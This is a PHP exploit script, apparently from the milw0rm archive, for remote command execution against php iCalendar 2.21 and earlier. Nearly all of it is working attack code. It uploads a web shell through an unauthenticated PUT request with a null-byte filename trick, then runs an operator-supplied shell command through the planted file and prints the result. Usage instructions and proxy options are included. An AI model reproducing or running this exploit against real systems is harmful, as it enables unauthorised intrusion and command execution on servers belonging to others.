/platforms/php/webapps/1586.php
PHP | 147 lines | 123 code | 10 blank | 14 comment | 23 complexity | d8fb8a6da03c13fa49a772a7fce30491 MD5 | raw file
- #!/usr/bin/php -q -d short_open_tag=on
- <?
- echo "php iCalendar <=2.21 publish.ical.php remote cmmnds xctn\r\n";
- echo "by rgod rgod<AT>autistici<DOT>org\r\n";
- echo "site: http://retrogod.altervista.org\r\n";
- echo "this works if \"phpicalendar_publishing\" is set to 1 in config.inc.php\r\n\r\n";
- # short explaination: phpICal lets users upload/delete files in WebDAV style
- # through PUT / DELETE method; calendars/ folder by default is not protected
- # by any authentication measure. Uploaded files have .ics extension but with
- # a trick you can break filename through a null char to have a php file
- # (this works always beacuse magic_quotes_gpc does not work with
- # HTTP_RAW_POST data)
- if ($argc<3) {
- echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
- echo "host: target server (ip/hostname)\r\n";
- echo "path: path to phpICal\r\n";
- echo "\r\n";
- echo "cmd: a shell command\r\n";
- echo "Options:\r\n";
- echo " -p[port]: specify a port other than 80\r\n";
- echo " -P[ip:port]: specify a proxy\r\n";
- echo "Examples:\r\n";
- echo "php ".$argv[0]." localhost /phpical/ ls -la\r\n";
- die;
- }
- error_reporting(0);
- ini_set("max_execution_time",0);
- ini_set("default_socket_timeout",5);
- function quick_dump($string)
- {
- $result='';$exa='';$cont=0;
- for ($i=0; $i<=strlen($string)-1; $i++)
- {
- if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
- {$result.=" .";}
- else
- {$result.=" ".$string[$i];}
- if (strlen(dechex(ord($string[$i])))==2)
- {$exa.=" ".dechex(ord($string[$i]));}
- else
- {$exa.=" 0".dechex(ord($string[$i]));}
- $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
- }
- return $exa."\r\n".$result;
- }
- $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
- function sendpacketii($packet)
- {
- global $proxy, $host, $port, $html, $proxy_regex;
- if ($proxy=='') {
- $ock=fsockopen(gethostbyname($host),$port);
- if (!$ock) {
- echo 'No response from '.$host.':'.$port; die;
- }
- }
- else {
- $c = preg_match($proxy_regex,$proxy);
- if (!$c) {
- echo 'Not a valid proxy...';die;
- }
- $parts=explode(':',$proxy);
- echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
- $ock=fsockopen($parts[0],$parts[1]);
- if (!$ock) {
- echo 'No response from proxy...';die;
- }
- }
- fputs($ock,$packet);
- if ($proxy=='') {
- $html='';
- while (!feof($ock)) {
- $html.=fgets($ock);
- }
- }
- else {
- $html='';
- while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
- $html.=fread($ock,1);
- }
- }
- fclose($ock);
- #debug
- #echo "\r\n".$html;
- }
- $host=$argv[1];
- $path=$argv[2];
- $cmd="";$port=80;$proxy="";
- for ($i=3; $i<=$argc-1; $i++){
- $temp=$argv[$i][0].$argv[$i][1];
- if (($temp<>"-p") and ($temp<>"-P"))
- {$cmd.=" ".$argv[$i];}
- if ($temp=="-p")
- {
- $port=str_replace("-p","",$argv[$i]);
- }
- if ($temp=="-P")
- {
- $proxy=str_replace("-P","",$argv[$i]);
- }
- }
- $cmd=urlencode($cmd);
- if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
- if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
- $data="X-WR-CALNAME:suntzu.php".CHR(0x00)."F@kech4rs\n"; //one shot, kill fopen() & trim() php funcs
- $data.='
- <?php
- if (get_magic_quotes_gpc())
- {$_GET[cmd]=stripslashes($_GET[cmd]);}
- ini_set("max_execution_time",0);
- echo "Hi Master!";
- echo 666;
- passthru($_GET[cmd]);
- echo 666;
- ?>
- ';
- $packet ="PUT ".$p."calendars/publish.ical.php HTTP/1.0\r\n";
- $packet.="Host: ".$host."\r\n";
- $packet.="Content-Length: ".strlen($data)."\r\n";
- $packet.="Connection: Close\r\n\r\n";
- $packet.=$data;
- #debug, shows packets in a nice format
- #echo quick_dump($packet);
- sendpacketii($packet);
- sleep(1);
- $packet="GET ".$p."calendars/suntzu.php?cmd=".$cmd." HTTP/1.0\r\n";
- $packet.="Host: ".$host."\r\n";
- $packet.="Connection: Close\r\n\r\n";
- #debug
- #echo quick_dump($packet);
- sendpacketii($packet);
- if (strstr($html,"666")) {
- echo "Exploit succeeded...\r\n";
- $temp=explode("666",$html);
- echo $temp[1];}
- else {echo "Exploit failed...";}
- ?>
- # milw0rm.com [2006-03-15]